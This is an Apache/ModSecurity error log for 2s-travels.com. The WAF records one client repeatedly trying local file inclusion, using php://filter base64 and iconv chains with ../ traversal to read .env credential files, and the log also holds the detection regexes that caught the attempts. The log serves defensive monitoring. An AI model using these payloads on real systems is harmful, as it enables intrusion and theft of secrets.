[Fri Jul 17 08:55:11.756927 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&cb=8DEpXVbiHBLQub6y01aGfr_QohlTsWbV1wSgJGvLIKFyCfuv76RyKCWyRPWz6YLyEg2sIb00ZM4xZ1VVxOBK4uUqsK5m0fr4pbwY-QNkWZ2VS1apUoysqlq9xFAjHgClY9v19IA_kG8ONiln3NCAR5WX1QKH_vhgzejWALVlQnZ9c30PWpJecCh9jafSo2eqHuqGy7uSbrA4Rhmo8HDJWPkBaM5ukC8X3CBl9w1H19HpQPhgUW9ZDM8h46KxcTiEqLPaUNLNQ3B-TKh2dDeCMVMQ&ref=3YULT2DLJAIRIWRGSW2TMQGVLPKJ7WPEDD4O67SBGHPCYVVGACXOYGEAPIFHDIGWZOCWTEO75OXW..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
[Fri Jul 17 08:55:11.756965 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&cb=8depxvbihblqub6y01agfr_qohltswbv1wsgjgvlikfycfuv76rykcwyrpwz6ylyeg2sib00zm4xz1vvxobk4uuqsk5m0fr4pbwy-qnkwz2vs1apuoysqlq9xfajhgcly9v19ia_kg8oniln3ncar5wx1qkh_vhgzejwalvlqnz9c30pwpjecch9jafso2eqhuqgy7usbra4rhmo8hdjwpkbam5ukc8x3cbl9w1h19hpqphguw9zdm8h46kxctieqlpaunlnq3b-tkh2ddecmvmq&ref=3yult2dljairiwrgsw2tmqgvlpkj7wpedd4o67sbghpcyvvgacxoygeapifhdigwzocwteo75oxw..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
[Fri Jul 17 08:55:11.756990 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
[Fri Jul 17 08:55:11.757012 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
[Fri Jul 17 08:55:11.757345 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
[Fri Jul 17 08:55:11.758348 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
[Fri Jul 17 08:55:11.758484 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.758803 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
[Fri Jul 17 08:55:11.762740 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iwAAABA"]
[Fri Jul 17 08:55:11.763751 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iwAAABA"]
[Fri Jul 17 08:55:11.763875 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.764202 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8iwAAABA"]
[Fri Jul 17 08:55:11.767961 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=SDmgD1C0N1PVR7LTQq6sJAToFvGYgs3lB3RSei8HSIn_kXjr7ooEgYtAECv-j139qR8IsC_0KaTaUDV4rKrikzx6isRZEnRscNv54BVq530OzbydO0cW5dMPqi5yXPWPnvaNVJFe-rtgpDOlmxFdXMRgGtiDKMkq07RaoCZ0VJtYICmU2v9fb6dbLe9PQYcyuTyi-vdrlbz5rHIj7R3n12-I7agmLAY2oh4PoH6Wh4wsGEiRmqsVPHTo_VgyRcF3bLx258Cl-CffgBh2U_NuFMTz&debug=HG6GPLUQWF4T7J5F6W3OQLZGHCCONI7S72EU7IXZQKMBI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.768013 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.768142 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&anything=SDmgD1C0N1PVR7LTQq6sJAToFvGYgs3lB3RSei8HSIn_kXjr7ooEgYtAECv-j139qR8IsC_0KaTaUDV4rKrikzx6isRZEnRscNv54BVq530OzbydO0cW5dMPqi5yXPWPnvaNVJFe-rtgpDOlmxFdXMRgGtiDKMkq07RaoCZ0VJtYICmU2v9fb6dbLe9PQYcyuTyi-vdrlbz5rHIj7R3n12-I7agmLAY2oh4PoH6Wh4wsGEiRmqsVPHTo_VgyRcF3bLx258Cl-CffgBh2U_NuFMTz&debug=HG6GPLUQWF4T7J5F6W3OQLZGHCCONI7S72EU7IXZQKMBIAB5Q3RIBAQ5KLNWPVNFHYQHWUN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.768181 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&anything=sdmgd1c0n1pvr7ltqq6sjatofvgygs3lb3rsei8hsin_kxjr7ooegytaecv-j139qr8isc_0kataudv4rkrikzx6isrzenrscnv54bvq530ozbydo0cw5dmpqi5yxpwpnvanvjfe-rtgpdolmxfdxmrggtidkmkq07raocz0vjtyicmu2v9fb6dble9pqycyutyi-vdrlbz5rhij7r3n12-i7agmlay2oh4poh6wh4wsgeirmqsvphto_vgyrcf3blx258cl-cffgbh2u_nufmtz&debug=hg6gpluqwf4t7j5f6w3oqlzghcconi7s72eu7ixzqkmbiab5q3ribaq5klnwpvnfhyqhwun..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.768231 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.768257 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.768693 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.769788 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.769928 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.770277 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl-Ypb_TFRze2EO3zVwAAAAE"]
[Fri Jul 17 08:55:11.774497 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&debug=21pFTIqRWKk61QRiZtCAfZsBFGxHZtzwFxBkEZnT0VCfw4ernUZ7iIc5v2-oK4Iov8SLyh1ZKcrpmoJtFXP38ZsVUuboeoEqK5GYvL-4Q8JF7rfLKkCY_HaT-QVbng0SAjExP6AMAwJbo7ehFkV1UloRVK86IuYrpa1O22ZPPRslt9uECbLQkBmaZkYgj8l4Nhlu7HP4-1O8pRTDbpXDLP_CRQ5P_7NrpwOl0uQd2ID2sIumbHHTQcrfRDxc5nRktGPDLmJtqKNL1MXheeN5sC4h&sid=CENMMWWQR7LWESIJRC6ISUK2L7WKHFGKNAFEK3LCGV4MFCJS4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
[Fri Jul 17 08:55:11.774547 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
[Fri Jul 17 08:55:11.774604 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&debug=21pFTIqRWKk61QRiZtCAfZsBFGxHZtzwFxBkEZnT0VCfw4ernUZ7iIc5v2-oK4Iov8SLyh1ZKcrpmoJtFXP38ZsVUuboeoEqK5GYvL-4Q8JF7rfLKkCY_HaT-QVbng0SAjExP6AMAwJbo7ehFkV1UloRVK86IuYrpa1O22ZPPRslt9uECbLQkBmaZkYgj8l4Nhlu7HP4-1O8pRTDbpXDLP_CRQ5P_7NrpwOl0uQd2ID2sIumbHHTQcrfRDxc5nRktGPDLmJtqKNL1MXheeN5sC4h&sid=CENMMWWQR7LWESIJRC6ISUK2L7WKHFGKNAFEK3LCGV4MFCJS4T6WRUFBCVMC6GU2QT3ALMPRC5I..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
[Fri Jul 17 08:55:11.774657 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&debug=21pftiqrwkk61qriztcafzsbfgxhztzwfxbkeznt0vcfw4ernuz7iic5v2-ok4iov8slyh1zkcrpmojtfxp38zsvuuboeoeqk5gyvl-4q8jf7rflkkcy_hat-qvbng0sajexp6amawjbo7ehfkv1ulorvk86iuyrpa1o22zpprslt9uecblqkbmazkygj8l4nhlu7hp4-1o8prtdbpxdlp_crq5p_7nrpwol0uqd2id2siumbhhtqcrfrdxc5nrktgpdlmjtqknl1mxheen5sc4h&sid=cenmmwwqr7lwesijrc6isuk2l7wkhfgknafek3lcgv4mfcjs4t6wrufbcvmc6gu2qt3almprc5i..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
[Fri Jul 17 08:55:11.774683 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
[Fri Jul 17 08:55:11.774703 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7QAAAA4"]
